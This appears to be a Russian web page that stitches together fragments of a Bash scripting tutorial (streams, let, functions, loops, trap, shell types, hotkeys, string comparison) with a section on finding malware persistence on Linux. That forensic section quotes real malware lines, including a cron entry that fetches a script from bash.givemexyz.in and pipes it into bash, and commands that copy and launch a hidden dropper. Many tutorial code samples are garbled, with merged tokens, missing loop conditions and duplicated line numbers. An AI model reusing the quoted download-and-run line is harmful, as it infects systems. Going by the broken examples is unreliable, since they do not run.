Bash-скрипты: начало

Потоки

Файл, из которого осуществляется чтение, называется стандартным потоком ввода, а в который осуществляется запись — стандартным потоком вывода.

Стандартные потоки:

При перенаправлении потоков, вы можете указывать ссылки на определенные потоки. Например, перенаправим вывод и ошибки команды в файл:

Перенаправление потоков

Для перенаправления потоков используются основные команды: <>>><<<|. Рассмотрим как можно перенаправлять стандартные потоки.

Перенаправление потока вывода:

Перенаправление потока ввода (прием данных):

Перенаправление вывода ошибок:

Примечание

Если вам нужно захватить вывод команды в переменную и при этом отобразить вывод на экране, используйте :

Подстановка процессов

Передать процессу команда1 файл (созданный налету канал или файл /dev/fd/…), в котором находятся данные, которые выводит команда2:

Примеры

Логировать результат поиска и ошибки:

Эта конструкция позволяет читать из строки как из файла. Демонстрационный пример:

Создаем временный файл и записываем в него поток переданный скрипту:

А теперь откроем файл в текстовом редакторе с «отвязкой» (отключением) от терминала, подавляем вывод сообщений в терминал:

Let

Let это встроенная функция Bash, которая позволяет нам выполнять простую арифметику. Он следует основному формату:

Shell

let <арифметическое выражение>

1 let<арифметическоевыражение>

Арифметическое выражение может принимать различные форматы, которые мы опишем ниже. Первая часть, как правило, всегда является переменной, которая сохраняется в результате.

Давайте рассмотрим простой пример:

let_example.sh

Shell

#!/bin/bash
# Базовая арифметика, использующая let

let a=5+4
echo $a # 9

let «a = 5 + 4»
echo $a # 9

let a++
echo $a # 10

let «a = 4 * 5»
echo $a # 20

let «a = $1 + 30»
echo $a # 30 + первый аргумент командной строки

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

#!/bin/bash
# Базовая арифметика, использующая let
 

leta=5+4

echo$a# 9

let»a = 5 + 4″

echo$a# 9

leta++

echo$a# 10

let»a = 4 * 5″

echo$a# 20

let»a = $1 + 30″

echo$a# 30 + первый аргумент командной строки

Давайте разберем это:

Строка 4 — это основной формат. Обратите внимание, что если мы не ставим кавычки вокруг выражения, тогда оно должно быть записано без пробелов.

Строка 7 — На этот раз мы использовали кавычки, которые позволяют нам выделять выражение, чтобы сделать его более читаемым.

Строка 10 — это сокращение для приращения значения переменной a на 1. Это то же самое, что и запись «a = a + 1».

Строка 16 — Мы можем также включить в выражение другие переменные.

Вот таблица с некоторыми из основных выражений, которые вы можете выполнить. Есть и другие, но они наиболее часто используются.

оператор операция
+, -, / *, / Сложение, вычитание, умножение, деление
var ++ Увеличьте переменную var на 1
var— Уменьшить переменную var на 1
% Модуль (возвращает остаток после деления)

Эти операторы могут использоваться и в других механизмах, описанных ниже.

Создание функций в bash

Есть два разных синтаксиса для объявления функций bash. Следующий синтаксис является наиболее часто используемым способом создания функций bash:

function_name () {
commands
}

Вторая менее часто используемая функция создания bash-функций начинается с зарезервированной рабочей функции, за которой следует имя функции, как показано ниже:

function function_name {
commands
}

Теперь есть пара вещей, о которых вы должны знать при работе с функциями:

  • Функция никогда не будет запускаться/выполняться, если вы не вызовете функцию.
  • Определение функции должно предшествовать любым вызовам функции.

Каждый раз, когда вы хотите, чтобы функция запускалась, вам просто нужно ее вызвать! Для вызова функции достаточно просто указать имя функции.

Взгляните на следующий сценарий bash fun.sh :

#!/bin/bash

hello () {
echo "Hello World"
}

hello
hello
hello

Мы определили функцию с именем hello, которая просто выводит на терминал строку «Hello World». Обратите внимание, что мы сделали три вызова функции hello, и поэтому, если вы запустите сценарий, вы увидите, что на экране трижды напечатана строка «Hello World»:

destroyer@andreyex:~$ ./fun.sh
Hello World
Hello World
Hello World

Поиск следов закрепления вредоносного ПО

Поиск недавно созданных файлов

Инструментарий:

  • Практические примеры использования команды find в Linux
  • Команда find: поиск в файловой системе по любым свойствам файла

Поиск файлов в указанной папке, которые были изменены менее 1 дня назад:

find /bin/ -mtime -1

Вывод:

  • /bin/
  • /bin/sysdr
  • /bin/bprofr
  • /bin/crondr
  • /bin/core_perl

Выделенные файлы — это вирусы (проверил на virustotal.com).

Чтобы найти все файлы, которые были изменены ровно 50 дней назад:

find / -mtime 50

Чтобы найти все файлы, к которым был получен доступ ровно 50 дней назад:

find / -atime 50

Чтобы найти все файлы, которые были модифицированы более 50 дней назад и менее 100 дней назад:

find / -mtime +50 -mtime -100

Чтобы найти файлы, свойства которых (права доступа, владелец, группа) были изменены за последний час:

find / -cmin -60

Чтобы найти файлы, которые были модифицированы за последний час:

find / -mmin -60

Чтобы найти все файлы, доступ к которым был сделан за последний час:

find / -amin -60

Поиск служб в автозагрузке

Инструментарий:

  • Как использовать Systemctl для управления службами Systemd и юнитами
  • Как в Linux добавить программу в автозагрузку

Если вы хотите посмотреть только юниты, добавленные в автозагрузку, то используйте следующую конструкцию:

systemctl list-unit-files | grep enabled

Посмотрите на две службы с именами:

  • pwnrige.service
  • pwnrigl.service

На самом деле, вредоносное ПО может модифицировать файлы Systemctl и заменить собой любую службу или выбрать менее вызывающее название, но в данном случае очевидно, что это посторонние сервисы.

Можно посмотреть, что там внутри:

sudo systemctl edit pwnrige.service
sudo systemctl edit pwnrigl.service

Или так:

cat /etc/systemd/system/pwnrige.service
cat /usr/lib/systemd/system/pwnrigl.service

Следующая строка

/bin/bash -c 'cp -f -r -- /bin/sysdr /bin/dbused 2>/dev/null && /bin/dbused -c >/dev/null 2>&1 && rm -rf -- /bin/dbused 2>/dev/null'

Говорит нам о том, что файл вируса спрятан в /bin/sysdr.

Поиск в директориях /etc/systemd/system/ и /usr/lib/systemd/system/ файлов созданных за последний день:

find /etc/systemd/system/ /usr/lib/systemd/system/ -mtime -1

Знакомые нам файлы:

  • /etc/systemd/system/pwnrige.service
  • /usr/lib/systemd/system/pwnrigl.service

Поиск по содержимому файлов (по тексту)

Инструментарий:

Регулярные выражения и команда grep

Поиск строк sysdr или cp в директориях /etc/systemd/system/ и /usr/lib/systemd/system/:

grep --color -E '(sysdr)|(cp )' /etc/systemd/system/* /usr/lib/systemd/system/* 2>/dev/null

Расписания задач Cron

Инструментарий:

Как вывести все задачи Cron

Следующие две команды покажут содержимое задач Cron для всех пользователей:

for user in $(cut -f1 -d: /etc/passwd); do sudo crontab -u $user -l 2>/dev/null | grep -v '^#'; done

Более гибкий вариант, не рассчитывает на имена пользователей:

grep '*' --color /etc/anacrontab /var/spool/cron/crontabs/* /var/spool/cron/* /etc/cron.hourly/* /etc/cron.daily/* /etc/cron.weekly/* /etc/cron.monthly/* /etc/cron.d/* /etc/init.d/down 2>/dev/null

Обратите внимание, как прочно укоренился вирус в системе:

(curl -fsSL http://bash.givemexyz.in/xms||wget -q -O- http://bash.givemexyz.in/xms||python -c 'import urllib2 as fbi;print fbi.urlopen("http://bash.givemexyz.in/xms").read()')| bash -sh; lwp-download http://bash.givemexyz.in/xms /xms; bash /xms; /xms; rm -rf /xms

Этот набор команд, который должен выполняться с периодичность 1 раз в минуту, прописан в следующих файлах:

  • /etc/cron.d/root
  • /etc/cron.d/nginx
  • /etc/cron.d/apache
  • /var/spool/cron/root

Автоматически выполняемые скрипты

Инструментарий:

Различия между Login shell и Non login shell (оболочка с входом и оболочка без входа)

В Linux имеются скрипты, которые выполняются автоматически при входе пользователя в систему.

Некоторые из этих скриптов общие для всех пользователей, некоторые — у каждого пользователя свои:

  • /etc/profile
  • /etc/profile.d/*
  • ~/.bash_profile
  • ~/.bashrc
  • /etc/bashrc

Если вы не знаете, что именно нужно искать, то используйте следующую команду, которая выведет содержимое для всех файлов всех пользователей:

sudo grep --color '.*' /etc/profile /etc/profile.d/* /home/*/.bash_profile /home/*/.bashrc /etc/bashrc /root/.bash_profile /root/.bashrc

Посмотрите какая неприятность — в файле /root/.bash_profile найдена следующая строка:

cp -f -r -- /bin/bprofr /bin/dbused 2>/dev/null && /bin/dbused -c >/dev/null 2>&1 && rm -rf -- /bin/dbused 2>/dev/null

Циклы. Цикл until-do.

Синтаксис

until TEST-COMMAND; do CONSEQUENT-COMMANDS; done # синтаксис для записи цикла в одну строку

Оператор case

Оператор case всегда завершается ключевым словом esac.

case строка in
шаблон)
список операторов
;;
 ]
esac

Оператор case поочерёдно сравнивает строку с шаблонами. Если шаблон совпадает, то выполняется группа операторов, находящихся между шаблоном и специальными символами «;;». После выполнения всех строк управление передается операторам, находящимся за ключевым словом esac.

Функции

Функцию в shell можно определить двумя способами: при помощи оператора function или после имени функции написать открывающую и закрывающую круглые скобки. Тело функции располагается между фигурными скобками.

eval

eval arg1  ... 

Транслирует список аргументов, из списка, в команды.

Пример. Демонстрация команды eval

#!/bin/bash

y=`eval ls -l`  # Подобно y=`ls -l`
echo $y         # но символы перевода строки не выводятся, поскольку имя переменной не в кавычках.
echo
echo "$y"       # Если имя переменной записать в кавычках -- символы перевода строки сохраняются.

echo; echo

y=`eval df`     # Аналогично y=`df`
echo $y         # но без символов перевода строки.

#  Когда производится подавление вывода символов LF (перевод строки), то анализ
#+ результатов различными утилитами, такими как awk, можно сделать проще.

exit 0

getopts

getopts — это встроенная в shell команда, позволяющая разобрать командную строку, передаваемую программе. Она понимает только параметры, написанные в стиле Что такое POSIX, т.е «-v -t -f file» и т.п.

trap — обработка прерываний

Команда trap позволяет переопределить стандартную реакцию программы на получаемые сигналы. Бывает необходимо защитить выполнение программы от прерывания. Формат команды trap:

trap 'список команд' сигналы

Если в системе возникнут прерывания, чьи сигналы перечислены через пробел в «сигналы», то будет выполнен «список команд», после чего (если в списке команд не была выполнена команда «exit») управление вернется в точку прерывания и продолжится выполнение командного файла.

Наиболее часто приходится встречаться со следующими прерываниями, соответствующими сигналам:

0 	выход из интерпретатора,
1 	отбой (отключение удаленного абонента),
2 	прерывание от <Del>,
9 	уничтожение (не перехватывается),
15 	окончание выполнения.

Например, если перед прекращением по прерываниям выполнения какого то командного файла необходимо удалить файлы в «/tmp», то это может быть выполнено командой «trap»:

 trap 'rm /tmp/* ; exit 1' 1 2 15

которая предшествует прочим командам файла. Здесь, после удаления файлов будет осуществлён выход «exit» из командного файла.

Команда «trap» позволяет и просто игнорировать прерывания, если «список команд» пустой. Так например, если команда «cmd» выполняется очень долго, а пользователь решил отключиться от системы, то для продолжения выполнения этой команды можно написать, запустив команду в фоновом режиме:

  ( trap '' 1; cmd )&

Дизайн

Создание функций в ваших сценариях Bash очень просто. Однако создание хороших функций, которые упрощают запись и обслуживание ваших сценариев, требует времени и опыта. Как и в большинстве случаев с компьютерами, когда вы достигаете такого уровня сложности, вы сможете достичь желаемого результата несколькими способами. Некоторые из них будут лучше других, поэтому найдите время, чтобы подумать о разных способах написания кода, и каким образом может быть лучше.

Иногда лучше — это наименьшие строки кода, иногда лучше всего легче изменить позже, если изменения будут изменены. Иногда лучше подход, который наименее подвержен ошибкам.

Если конкретная задача должна выполняться несколько раз, то это хороший кандидат для размещения внутри функции.

Иногда полезно размещать вспомогательные задачи внутри функций, чтобы они были логически отделены от основной части скрипта. Общим примером является проверка ввода (например, обеспечение того, что указанный файл существует и доступен для чтения).

Функция наиболее удобна при выполнении одной задачи и только одной задачи. Вместо того, чтобы иметь большую функцию, рассмотрите возможность разбить ее на несколько функций и разбить задачу.

Однако вам нужно найти правильный баланс. Если функции слишком велики и требуют слишком большой обработки, то вы не получите полной выгоды. Если вы разделите слишком много функций, ваш код может легко расти и стать глупым. С опытом вы найдете это сладкое пятно посередине.

Часть 6. Циклы for, while, until в Bash

Циклы. Цикл while-do.

Цикл while сложнее цикла for-in и используется для повторения команд, пока какое-то выражение истинно( код возврата = 0). В цикле while выполняются строки, расположенные между do и done, до тех пор, пока условие истинно или пока не встретится оператор break. Синтаксис оператора:

while выражение или команда возвращающая код возврата
do
команды
done

while CONTROL-COMMAND; do CONSEQUENT-COMMANDS; done # синтаксис для записи цикла в одну строку

Пример работы цикла рассмотрим на следующем примере:

#!/bin/bash
again=yes #присваиваем значение "yes" переменной again
while  #Будем выполнять цикл, пока $again будет равно "yes"
do
echo "Please enter a name:"
read name
echo "The name you entered is $name"

echo "Do you wish to continue?"
read again
done
echo "Bye-Bye"

Цикл выполняется до тех пор, пока мы не введем что-то отличное от «yes». Между do и done можно описывать любые структуры, операторы и т.п., все они будут выполнятся в цикле. Но следует быть осторожным с этим циклом, если вы запустите на выполнение в нём какую-либо команду, без изменения переменной выражения, вы можете попасть в бесконечный цикл.

Теперь об условии истинности. После while, как и в условном операторе if-then-else можно вставлять любое выражение или команду, которая возвращает код возврата, и цикл будет исполнятся до тех пор, пока код возврата = 0! Оператор «[» аналог команды test, которая проверяет истинность условия, которое ей передали.

Использование функций

Напишем скрипт, содержащий объявление функции и использующий её:

#!/bin/bash
function myfunc {
echo «This is an example of using a function»
}
count=1
while
do
myfunc
count=$(( $count + 1 ))
done
echo «This is the end of the loop»
myfunc
echo «End of the script»

1
2
3
4
5
6
7
8
9
10
11
12
13

#!/bin/bash

functionmyfunc{

echo»This is an example of using a function»

}

count=1

while$count-le3

do
myfunc

count=$(($count+1))

done

echo»This is the end of the loop»

myfunc

echo»End of the script»

Здесь создана функция с именем 
myfunc. Для вызова функции достаточно указать её имя.

Результаты вызова функции

Функцию можно вызывать столько раз, сколько нужно

Обратите внимание на то, что попытавшись использовать функцию до её объявления, вы столкнётесь с ошибкой. Напишем демонстрирующий это скрипт:

#!/bin/bash
count=1
while
do
myfunc
count=$(( $count + 1 ))
done
echo «This is the end of the loop»
function myfunc {
echo «This is an example of using a function»
}
echo «End of the script»

1
2
3
4
5
6
7
8
9
10
11
12

#!/bin/bash

count=1

while$count-le3

do
myfunc

count=$(($count+1))

done

echo»This is the end of the loop»

functionmyfunc{

echo»This is an example of using a function»

}

echo»End of the script»

Как и ожидается, ничего хорошего после его запуска не произошло.

Попытка воспользоваться функцией до её объявления

Придумывая имена для функций, учитывайте то, что они должны быть уникальными, иначе проблем не избежать. Если вы переопределите ранее объявленную функцию, новая функция будет вызываться вместо старой без каких-либо уведомлений или сообщений об ошибках. Продемонстрируем это на примере:

#!/bin/bash
function myfunc {
echo «The first function definition»
}
myfunc
function myfunc {
echo «The second function definition»
}
myfunc
echo «End of the script»

1
2
3
4
5
6
7
8
9
10

#!/bin/bash

functionmyfunc{

echo»The first function definition»

}
myfunc

functionmyfunc{

echo»The second function definition»

}
myfunc

echo»End of the script»

Как видно, новая функция преспокойно затёрла старую.

Переопределение функции

Стандартный for цикл в Bash

Цикл выполняет итерацию по списку элементов и выполняет заданный набор команд.

Цикл Bash имеет следующую форму:

Список может быть серией строк, разделенных пробелами, диапазоном чисел, выводом команды, массивом и т. Д.

Оберните струны

В приведенном ниже примере цикл будет перебирать каждый элемент в списке строк, и переменный будет установлен на текущий элемент:

Цикл выдаст следующий результат:

Цикл по диапазону чисел

Вы можете использовать выражение последовательности, чтобы указать диапазон чисел или символов, задав начальную и конечную точки диапазона. Выражение последовательности принимает следующую форму:

Вот пример цикла, который перебирает все числа от 0 до 3:

Начиная с Bash 4, также можно указывать приращение при использовании диапазонов. Выражение принимает следующий вид:

Вот пример, показывающий, как увеличить на 5:

Перебирать элементы массива

Вы также можете использовать цикл для перебора массива элементов.

В приведенном ниже примере мы определяем массив с именем и перебираем каждый элемент массива.

Типы командных оболочек

В *nix-системах существует два основных типа оболочек: оболочки на основе Bourne shell и оболочки на основе C shell.

Типичными представителями оболочек типа Bourne shell являются:

   sh (Bourne shell)

   bash (Bourne Again shell)

   ksh (Korn shell)

   zsh (Z Shell)

К оболочкам типа C Shell относятся:

   csh (C shell)

   tcsh (TENEX/TOPS C shell)

Ниже представлены некоторые из самых распространенных шеллов, используемых в *nix-системах:

Примечание: Термин «*nix-системы» обозначает -подобные операционные системы.

sh (Bourne shell)

sh (сокр. от Bourne shell») — это самая старая (среди рассматриваемых) оболочка, написанная Стивеном Борном из AT&T Bell Labs для ОС UNIX v7. Оболочка доступна практически в любом *nix-дистрибутиве. Многие другие шеллы уходят своими корнями именно к sh. Благодаря своей скорости работы и компактности, данная оболочка является предпочтительным средством для написания shell-скриптов. К её недостаткам можно отнести отсутствие функций для использования оболочки в интерактивном режиме, а также отсутствие встроенной обработки арифметических и логических выражений.

Примечание: Стоит отметить, что из-за общего морального устаревания оболочки, в современных системах ссылка на шелл sh (/bin/sh), обычно, является псевдонимом для запуска текущей, более новой оболочки.

Характерные черты sh:

   Полные пути к интерпретатору: /bin/sh и /sbin/sh.

   Приглашение для обычного пользователя: .

   Приглашение для суперпользователя (root): .

bash (Bourne-Again shell)

bash (сокр. от Bourne–Again shell») — это усовершенствованный и дополненный вариант шелла sh, является одной из самых популярных современных командных оболочек *nix-систем.

   Совместим с sh.

   Объединяет в себе полезные фишки оболочек ksh и csh.

   Поддерживает навигацию при помощи стрелок, благодаря чему можно просматривать историю команд и выполнять редактирование прямо в командной строке.

Характерные черты bash:

   Полный путь к интерпретатору: /bin/bash.

   Приглашение для обычного пользователя: (где — это домашний каталог текущего пользователя, например, ).

   Приглашение для суперпользователя (root): .

ksh (Korn shell)

ksh (сокр. от Korn shell) — это командная оболочка, разработанная Дэвидом Корном из AT&T Bell Labs в 1980-x годах.

   Является расширением sh.

   Имеет обратную совместимость с sh.

   Имеет интерактивный функционал, сравнимый с csh.

   Включает в себя удобные для программирования функции, такие как: встроенную поддержку арифметических выражений/функций, Си-подобный синтаксис скриптов и средства для работы со строками.

   Работает быстрее, чем csh.

   Может запускать скрипты, написанные для sh.

Характерные черты ksh:

   Полный путь к интерпретатору: /bin/ksh.

   Приглашение для обычного пользователя: .

   Приглашение для суперпользователя (root): .

csh (C shell)

csh (сокр. от C shell) — это командная оболочка, созданная Биллом Джоем (автором редактора vi) с целью усовершенствования стандартного шелла Unix (sh).

   Имеет встроенные функции для интерактивного использования, например, псевдонимы (aliases) и историю команд.

   Включает в себя удобные для программирования функции, такие как: встроенную поддержку арифметических выражений и Cи-подобный синтаксис скриптов.

Характерные черты csh:

   Полный путь к интерпретатору: /bin/csh.

   Приглашение для обычного пользователя: .

   Приглашение для суперпользователя (root): .

tcsh (TENEX C Shell)

tcsh (сокр. от TENEX C shell) — это командная оболочка, созданная Кэном Гриром, которая позиционируется как улучшенная версия шелла csh.

   Имеет полную совместимость csh.

   Именно в данном шелле впервые появилась функция автодополнения команд и путей.

   Удобна для интерактивной работы.

   Поддерживает редактор командной строки в стиле vi или emacs.

   Является стандартным шеллом во FreeBSD.

Характерные черты tcsh:

   Полный путь к интерпретатору: /bin/tcsh.

   Приглашение для обычного пользователя: .

   Приглашение для суперпользователя (root): .

zsh (Z Shell)

zsh (сокр. от Z shell) — это командная оболочка, созданная Паулем Фалстадом во время его учебы в Принстонском университете, позиционируется как свободная современная sh-совместимая командная оболочка.

   Среди стандартных шеллов больше всего похожа на ksh, но включает в себя множество улучшений.

   Встроенная поддержка программируемого автодополнения команд, имен файлов и пр.

   Поддержка проверки орфографии и опечаток.

   Раздельная история команд для одновременной работы с несколькими запущенными шеллами.

Характерные черты zsh:

   Полный путь к интерпретатору: /bin/zsh.

   Приглашение для обычного пользователя: .

   Приглашение для суперпользователя (root): .

Синтаксис

Правила написания Bash представляют собой расширенный синтаксис Bourne-shell. Узнать подробности про основы взаимодействия с оболочкой, а также спецификации конкретных команд можно в руководстве Bash Reference Manual, распространяемом GNU. Это полезная шпаргалка для начинающих, позволяющая быстрее сориентироваться в оболочке.

Пример скрипта

Ниже рассмотрен пример самого простого скрипта, выводящего надпись «Hello world».

#!/usr/bin/env bash

echo 'Hello World!'

Данный сценарий состоит из двух строк, где первая указывает операционной системе, что файл должен запускаться при помощи оболочки Bash. Во второй строчке указывается действие – его и должен выполнить скрипт. Это действие должно напечатать в окне терминала соответствующую надпись.

Отличие Bash от Bourne-shell

Bash в Linux способна выполнять практически все важные сценарии Bourne-shell без внесения дополнительных изменений. Исключение составляют те, где необходимо ссылаться на спецпеременные Bourne-shell или, где применяются ее встроенные команды.

В синтаксисе Bash применяются приемы из Korn Shell и C Shell:

  • редактирование командной строки;
  • вывод истории команд;
  • создание стеков директорий;
  • правила замены команд «$(…)»;
  • переменные «$PPID» и «$RANDOM».

Используя консоль Bash в качестве интерактивного интерпретатора, можно прибегать к автодополнению названий файлов, программ, переменных и команд нажатием клавиши Tab (↹).

Горячие клавиши Bash (hotkeys bash)

Таблица комбинаций клавиш консоли Bash (терминала Linux).

  • ctrl+d выйти из терминала
  • ctrl+l очистить экран, аналог команды clear.
  • ctrl+a переместить курсор в начало строки
  • ctrl+e переместить курсор в конец строки
  • ctrl+u удалить все символы от курсора до начала строки
  • ctrl+k удалить все символы от курсора до конца строки
  • ctrl+w удалить слово перед курсором
  • ctrl+b переместить курсор на один символ влево
  • ctrl+f переместить курсор на один символ вправо
  • ctrl+t поменять местами символ слева от курсора и под курсором
  • ctrl+h удалить символ слева от курсора
  • ctrl+p предыдущая команда в истории bash
  • ctrl+n следующая команда в истории bash
  • ctrl+r реверсивный поиск команд в истории bash
  • ctrl+y вставляет последнюю удалённую с помощью ctrl+u или ctrl+k строку
  • ctrl+m выполнение команды, аналог
  • ctrl+o выполняет команду, при этом оставляя её в командной строке для дальнейшего использования
  • Tab+Tab выводит список команд. При наличии какого нибудь символа(-ов) выводит команды по введённым символам.
  • ctrl+c отменить последнюю введённую команду
  • ctrl+x+v показать версию bash
  • ctrl+s стоп режим. Блокирует вывод на консоль. При этом все данные отображённые на экране остаются неизменными.
  • ctrl+q выход из стоп-режима

Конфигурационные файлы инициализации Bash

Когда Bash вызывается как интерактивная оболочка, первым делом он читает и вызывает команды из файла /etc/profile, если этот файл существует. После чтения этого файла, он смотрит следующие файлы в данном порядке: ~/.bash_profile, ~/.bash_login, и ~/.profile, читает и вызывает команды из них. При выходе Bash читает и выполняет команды из файла ~/.bash_logout. Также Bash использует команды из файла ~/.bashrc. Это может быть отменено опцией –norc. Опция –rcfile заставит Bash использовать команды из ~/.bashrc

Синтаксис.

  • Оператор точка позволяет включать код находящийся в другом файле (после точки и перед именем загружаемого файла ставится пробел). Этот оператор часто используют для включения конфигурационных параметров, находящихся во внешних файлах.
  • Двойные кавычки — экранирует пробелы в значении переменных, например echo «This UID=$UID». Знак $ и обратные кавычки («), заключенные в двойные кавычки, сохраняют свойства специальных символов.
  • Одинарные кавычки экранируют все специальные символы. Т.е. символ $ в echo ‘$sym ‘не будет интерпретироваться как специальный символ, а выведется как текст.
  • Обратные одинарные кавычки « служат для подстановки данных. В том месте где будет использована подстановка, будет подставляться то, что программа вывела бы на стандартный вывод. Вместо кавычек можно использовать круглые скобки со знаком $. Ниже команды идентичны:
    `date`
    $(date)
  • Символ ; Оболочка bash допускает последовательное выполнение команд — одна за другой. Для этого серия команд вводится одной строкой, и разделяется символом ;. В этом случае сначала выполняется команда 1, по ее завершении команда 2 и т.д. Например
    $ cd ~; ls *.txt; cp *.txt $HOME/temp/
  • Свойства переменных в shell script:
    • не типизированы (значения в переменных считаются строками, и только если переменная будет использоваться в математическом выражении, будет происходить проверка типа переменной),
    • область видимости переменных — весь код программы (если переменная будет определена в функции, она все равно будет глобальной переменной и к ней можно будет обращаться из любого места программы),
    • при обращении к неопределенной переменной не выдаются ошибки,
    • регистрозависимые.
  • echo и метасимволы в bash. Для использования метасимволов \n (перевод на новую строку), \t и других в команде echo может потребоваться использование ключа -e двух символов обратного слеша или же можно использовать конструкции $’\X’, ниже команды идентичны по результату свой работы:
    #!/bin/bash
    
    echo -e \\n\\tfirst
    echo $'\n\t'second

Как вызвать функцию в Bash

Вызов функций в Bash больше похож на вызов команд оболочки, чем на вызов функций в других языках, с которыми вы можете быть знакомы (C/C++/Java/PHP/Python/Perl …). При вызове функции НЕ нужно указывать скобки, пример кода:

#!/bin/bash

# Объявление функции talk
function talk()
{
	echo "hi!"
}

# Вызов функции talk
talk

Если вы сохранили функцию в файл, но хотите вызвать её позже (то есть в файле функция не вызывается), то чтобы вызвать эту функцию нужно использовать команду source.

Допустим, эта функция сохранена в файл say.sh:

#!/bin/bash

function talk()
{
	echo "hi!"
}

Для вызова функции talk нужно выполнить:

source say.sh; talk

Для вызова функции из другого скрипта bash:

#!/bin/bash

source say.sh
talk

Если вы хотите, чтобы функция всегда была доступна для вызова, то можно создать файл functions.sh (например, в директории ~/bin). В этом скрипте вы добавите ваши собственные объявления функций. Наконец, вам нужно просто добавить строку

source ~/bin/functions.sh

в ваш файл .bashrc. Таким образом вы сможете вызывать функцию в командной строке в любое время. Конечно, можно сразу прописать функции .bashrc, но это может загромоздить этот файл и сделать его плохо читаемым. Поэтому рекомендуется выносить функции во внешние файлы.

При любом использовании достаточно выполнить команду source только один раз, после этого вызывать функцию можно любое количество раз.

Ещё одно правило — функции можно вызывать после их объявления.

#!/usr/bin/env sh

foo 1  # это завершится неудачей, поскольку функция foo ещё не объявлена.

foo() {
	echo "Параметр #1 это $1"
}

foo 2 # это будет работать.

How to Compare Strings in Bash

17 Мая 2020
&vert;

Терминал

Это руководство описывает, как сравнивать строки в Bash.

При написании сценариев Bash вам часто нужно сравнивать две строки, чтобы проверить, равны они или нет. Две строки равны, если они имеют одинаковую длину и содержат одинаковую последовательность символов.

Операторы сравнения

Операторы сравнения — это операторы, которые сравнивают значения и возвращают true или false. При сравнении строк в Bash вы можете использовать следующие операторы:

  • и — Оператор равенства возвращает true, если операнды равны.
    • Используйте оператор с командой.
    • Используйте оператор с командой для сопоставления с образцом.
  • — Оператор неравенства возвращает true, если операнды не равны.
  • — Оператор регулярного выражения возвращает true, если левый операнд соответствует расширенному регулярному выражению справа.
  • — Оператор «больше чем» возвращает истину, если левый операнд больше правого, отсортированного по лексикографическому (алфавитному) порядку.
  • — Оператор less than возвращает true, если правый операнд больше правого, отсортированного по лексикографическому (алфавитному) порядку.
  • — Истина, если длина строки равна нулю.
  • — Истина, если длина строки не равна нулю.

Ниже следует отметить несколько моментов при сравнении строк:

  • Пустое пространство должно быть использовано между бинарным оператором и операндами.
  • Всегда используйте двойные кавычки вокруг имен переменных, чтобы избежать каких-либо проблем с разделением слов или смещениями
  • Bash не разделяет переменные по «типу», переменные обрабатываются как целое число или строка в зависимости от контекста.

Проверьте, равны ли две строки

В большинстве случаев при сравнении строк вы хотите проверить, равны ли строки или нет.

Следующий скрипт использует оператор if и команду test, чтобы проверить, совпадают ли строки с оператором:

Когда скрипт выполняется, он напечатает следующий вывод.

Вот еще один скрипт, который принимает входные данные от пользователя и сравнивает заданные строки. В этом примере мы будем использовать команду и оператор.

Запустите скрипт и введите строки при появлении запроса:

Вы также можете использовать логические и и или для сравнения строк:

Проверьте, содержит ли строка подстроку

Есть несколько способов проверить, содержит ли строка подстроку.

Один из подходов заключается в использовании подстроки с символами звездочки, что означает совпадение всех символов.

Скрипт отобразит следующее:

Другой вариант — использовать оператор регулярного выражения, как показано ниже:

Точка, за которой следует звездочка, соответствует нулю или большему количеству вхождений любого символа, кроме символа новой строки.

Проверьте, пуста ли строка

Довольно часто вам также необходимо проверить, является ли переменная пустой строкой или нет. Вы можете сделать это, используя и оператор.

Лексикографическое сравнение

Лексикографическое сравнение — это операция, в которой две строки сравниваются в алфавитном порядке путем сравнения символов в строке последовательно слева направо. Этот вид сравнения используется редко.

Следующие сценарии сравнивают две строки лексикографически:

Скрипт выведет следующее:

Сравнение строк — одна из самых основных и часто используемых операций в сценариях Bash. Прочитав этот урок, вы должны хорошо понимать, как сравнивать строки в Bash. Вы также можете проверить наше руководство о конкатенации строк .

Рейтинг
( Пока оценок нет )
Понравилась статья? Поделиться с друзьями:
Мой редактор ОС
Добавить комментарий

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!: